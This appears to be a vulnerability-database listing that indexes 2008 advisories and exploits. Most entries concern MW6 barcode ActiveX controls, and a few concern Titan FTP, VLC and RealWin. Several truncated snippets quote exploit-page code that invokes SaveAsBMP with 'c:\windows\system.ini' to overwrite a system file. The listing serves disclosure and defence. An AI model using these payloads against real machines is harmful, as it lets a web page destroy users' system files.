MW6 Technologies Barcode ActiveX 'Barcode.dll' ActiveX控件任意文件覆盖漏洞

BUGTRAQ ID: 31979 CNCAN ID：CNCAN-2008103003 MW6 Barcode ActiveX是一款条形码生成控件。 MW6 Barcode ActiveX 'Barcode.dll'存在设计问题，远程攻击者可以利用漏洞以应用程序权限覆盖系统文件。 控件对SaveAsBMP和SaveAsWMF方法处理存在问题，构建恶意WEB页，诱使用户访问，可导致以应用程序权限覆盖系统文件。 MW6 Technologies Barcode ActiveX 3.0.0.1 目前没有详细解决方案提供： http://www.mw6tech.com/products.html...

MW6 DataMatrix ActiveX (DataMatrix.dll) Insecure Method Exploit

No description provided by source. !-- By Dr.Pantagon DeltaSecurityCenter www.DeltaSecurity.ir Description : DataMatrix ActiveX ver : 3.0.0.1 CopyRight : MW6 Technologies, Inc. Download Link : http://www.mw6tech.com/datamatrix/try/MW6DataMatrix.zip This was written for educational purpose. Use it...

mw6aztec-insecure.txt

Test Exploit page targetFile = "C:\WINDOWS\system32\Aztec.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "AZTECLib.MW6Aztec" argCount = 1 arg1="c:\windows\system.ini" target.SaveAsBMP arg1 'target.SaveAsWMF arg1...

mw6pdf417-insecure.txt

Test Exploit page targetFile = "C:\WINDOWS\system32\MW6PDF417.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "MW6PDF417Lib.PDF417" argCount = 1...

mw6barcode-insecure.txt

param nam...

MW6 Aztec ActiveX 3.0.0.1 Insecure Method Exploit

No description provided by source. !-- By Dr.Pantagon DeltaSecurityCenter www.DeltaSecurity.ir Description : Aztec ActiveX ver : 3.0.0.1 CopyRight : MW6 Technologies, Inc. Download Link : http://www.mw6tech.com/aztec/MW6Aztec.ZIP This was written for educational purpose. Use it at your own risk...

MW6 Barcode ActiveX (Barcode.dll) Insecure Method Exploit

Exploit for unknown platform in category remote exploits ========================================================= MW6 Barcode ActiveX Barcode.dll Insecure Method Exploit ========================================================= ?...

MW6 DataMatrix ActiveX (DataMatrix.dll) Insecure Method Exploit

Exploit for unknown platform in category remote exploits =============================================================== MW6 DataMatrix ActiveX DataMatrix.dll Insecure Method Exploit =============================================================== ? Test Exploit page targetFile =...

MW6 PDF417 ActiveX (MW6PDF417.dll) Remote Insecure Method Exploit

Exploit for unknown platform in category remote exploits ================================================================= MW6 PDF417 ActiveX MW6PDF417.dll Remote Insecure Method Exploit ================================================================= ? Test Exploit page param name="Y2XRatio"...

MW6 Aztec ActiveX (Aztec.dll) Remote Insecure Method Exploit

Exploit for unknown platform in category remote exploits ============================================================ MW6 Aztec ActiveX Aztec.dll Remote Insecure Method Exploit ============================================================ Test Exploit page targetFile =...

MW6 Datamatrix - ActiveX Datamatrix.dll Insecure Method

MW6 Datamatrix - ActiveX Datamatrix.dll Insecure Method  Test Exploit page targetFile = "C:\WINDOWS\system32\DataMatrix.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "DATAMATRIXLib.MW6DataMatrix" argCount = 1 arg1="c:\windows\system.ini"...

MW6 PDF417 - ActiveX MW6PDF417.dll Remote Insecure Method

MW6 PDF417 - ActiveX MW6PDF417.dll Remote Insecure Method  Test Exploit page targetFile = "C:\WINDOWS\system32\MW6PDF417.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "MW6PDF417Lib.PDF417" argCount = 1 arg1="c:...

MW6 Aztec - ActiveX Aztec.dll Remote Insecure Method

MW6 Aztec - ActiveX Aztec.dll Remote Insecure Method  Test Exploit page targetFile = "C:\WINDOWS\system32\Aztec.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "AZTECLib.MW6Aztec" argCount = 1 arg1="c:\windows\system.ini" target.SaveAsBMP arg1...

MW6 Aztec - ActiveX 'Aztec.dll' Remote Insecure Method

 Test Exploit page targetFile = "C:\WINDOWS\system32\Aztec.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "AZTECLib.MW6Aztec" argCount = 1 arg1="c:\windows\system.ini" target.SaveAsBMP arg1 'target.SaveAsWMF arg1 milw0rm.com 2008-10-29...

MW6 Datamatrix - ActiveX 'Datamatrix.dll' Insecure Method

 Test Exploit page targetFile = "C:\WINDOWS\system32\DataMatrix.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "DATAMATRIXLib.MW6DataMatrix" argCount = 1 arg1="c:\windows\system.ini" target.SaveAsBMP arg1 'target.SaveAsWMF arg1 milw0rm.com 2008-10-...

MW6 Barcode - ActiveX 'Barcode.dll' Insecure Method

...

Titan FTP Server 'SITE WHO' Command Remote DoS Vulnerability

The host is running Titan FTP Server and is prone to denial of service vulnerability. The flaw is due to error in the 'SITE WHO' command processing, which can be exploited to exhaust available CPU resources. OpenVAS Vulnerability Test $Id: secpodtitanftpservercmdprocessingdosvuln900160.nasl 4557...

CORE-2008-1010: VLC media player XSPF Memory Corruption

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ VLC media player XSPF Memory Corruption 1. Advisory Information Title: VLC media player XSPF Memory Corruption Advisory ID: CORE-2008-1010 Advisory URL:...

VideoLAN VLC Media Player 0.9.2 Media Player - XSPF Memory Corruption

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ VLC media player XSPF Memory Corruption 1. Advisory Information Title: VLC media player XSPF Memory Corruption Advisory ID: CORE-2008-1010 Advisory URL:...

CVE-2008-4322

Stack-based buffer overflow in RealFlex Technologies Ltd. RealWin Server 2.0, as distributed by DATAC, allows remote attackers to execute arbitrary code via a crafted FCINFOTAG/SETCONTROL packet...